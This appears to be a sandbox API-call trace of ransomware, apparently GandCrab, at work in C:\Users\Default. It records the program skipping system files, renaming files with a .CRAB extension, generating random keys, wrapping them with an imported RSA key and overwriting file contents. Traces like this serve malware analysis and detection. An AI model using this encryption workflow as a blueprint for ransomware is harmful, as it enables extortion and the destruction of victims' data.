	[0136.657] VirtualAlloc (lpAddress=0x0, dwSize=0x7e000, flAllocationType=0x3000, flProtect=0x4) returned 0x380000
	[0136.669] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.671] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff82000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.671] WriteFile (in: hFile=0x3d4, lpBuffer=0x380000*, nNumberOfBytesToWrite=0x7e000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x380000*, lpNumberOfBytesWritten=0x314df04*=0x7e000, lpOverlapped=0x0) returned 1
	[0136.673] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.675] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.678] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.679] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.679] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0136.679] CloseHandle (hObject=0x3d4) returned 1
	[0136.679] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.679] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.680] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.680] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.680] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.680] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.680] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.681] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1
	[0136.681] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1
	[0136.681] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf"
	[0136.681] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.681] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 72
	[0136.681] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 72
	[0136.681] lstrlenW (lpString=".blf") returned 4
	[0136.681] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.681] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".blf ") returned 5
	[0136.681] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.682] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 72
	[0136.682] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 72
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="desktop.ini") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="autorun.inf") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="ntuser.dat") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="iconcache.db") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="bootsect.bak") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="boot.ini") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="ntuser.dat.log") returned 1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="thumbs.db") returned -1
	[0136.682] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.682] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.682] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB") returned 77
	[0136.683] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf")) returned 0x26
	[0136.683] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", dwFileAttributes=0x26) returned 1
	[0136.683] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf.crab")) returned 1
	[0136.684] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.684] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB"
	[0136.684] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB.CRAB"
	[0136.684] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0136.686] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.686] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.686] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0136.686] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0136.686] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.687] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e7c0) returned 1
	[0136.688] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.688] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.689] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.689] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0136.689] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0136.689] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.689] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0136.689] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0136.690] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6ed98) returned 1
	[0136.691] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3248230) returned 1
	[0136.691] CryptGetKeyParam (in: hKey=0x3248230, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.691] CryptEncrypt (in: hKey=0x3248230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0136.691] GetLastError () returned 0x0
	[0136.691] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0136.691] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0136.693] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x32482f0) returned 1
	[0136.693] CryptGetKeyParam (in: hKey=0x32482f0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.693] CryptEncrypt (in: hKey=0x32482f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0136.693] GetLastError () returned 0x0
	[0136.693] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.693] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.694] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0136.694] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0136.694] ReadFile (in: hFile=0x3d4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314df14*=0x10000, lpOverlapped=0x0) returned 1
	[0136.709] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0136.710] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0136.712] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.712] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xffff0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.712] WriteFile (in: hFile=0x3d4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x10000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314df04*=0x10000, lpOverlapped=0x0) returned 1
	[0136.712] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.713] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.717] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.717] WriteFile (in: hFile=0x3d4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0136.717] WriteFile (in: hFile=0x3d4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0136.717] CloseHandle (hObject=0x3d4) returned 1
	[0136.717] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.718] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.718] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.718] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.718] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.719] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.719] FindNextFileW (in: hFindFile=0x3248f30, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0136.719] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1
	[0136.719] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1
	[0136.719] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms"
	[0136.719] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0136.720] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 109
	[0136.720] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 109
	[0136.720] lstrlenW (lpString=".regtrans-ms") returned 12
	[0136.720] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.720] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".regtrans-ms ") returned 13
	[0136.720] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.720] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 109
	[0136.720] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms") returned 109
	[0136.720] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="desktop.ini") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="autorun.inf") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="iconcache.db") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="bootsect.bak") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="boot.ini") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="ntuser.dat.log") returned 1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="thumbs.db") returned -1
	[0136.721] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="CRAB-DECRYPT.txt") returned 1
	[0136.721] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0136.721] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB") returned 114
	[0136.721] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms")) returned 0x26
	[0136.721] SetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", dwFileAttributes=0x26) returned 1
	[0136.722] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms.crab")) returned 1
	[0136.723] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0136.723] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB"
	[0136.723] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB.CRAB") returned="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB.CRAB"
	[0136.723] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e5a0) returned 1
	[0136.724] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.725] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.725] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0136.725] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.725] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.725] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0136.726] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0136.727] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0136.727] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0136.727] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0136.727] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0136.727] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.727] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0136.727] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0136.728] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e408) returned 1
	[0136.729] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3248430) returned 1
	[0136.729] CryptGetKeyParam (in: hKey=0x3248430, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.729] CryptEncrypt (in: hKey=0x3248430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0136.729] GetLastError () returned 0x0
	[0136.729] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0136.729] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0136.730] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0x3248030) returned 1
	[0136.730] CryptGetKeyParam (in: hKey=0x3248030, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0136.730] CryptEncrypt (in: hKey=0x3248030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0136.731] GetLastError () returned 0x0
	[0136.731] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0136.731] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms.CRAB" (normalized: "c:\\users\\default\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tmcontainer00000000000000000001.regtrans-ms.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0136.731] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0136.732] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3560000
	[0136.732] ReadFile (in: hFile=0x3d4, lpBuffer=0x3560000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3560000*, lpNumberOfBytesRead=0x314df14*=0x80000, lpOverlapped=0x0) returned 1
	[0136.747] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0136.755] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x3000, flProtect=0x4) returned 0x380000
	[0136.765] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.769] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff80000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.769] WriteFile (in: hFile=0x3d4, lpBuffer=0x380000*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x380000*, lpNumberOfBytesWritten=0x314df04*=0x80000, lpOverlapped=0x0) returned 1
	[0136.770] VirtualFree (lpAddress=0x380000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.772] VirtualFree (lpAddress=0x3560000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0136.775] WriteFile (in: hFile=0x3d4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
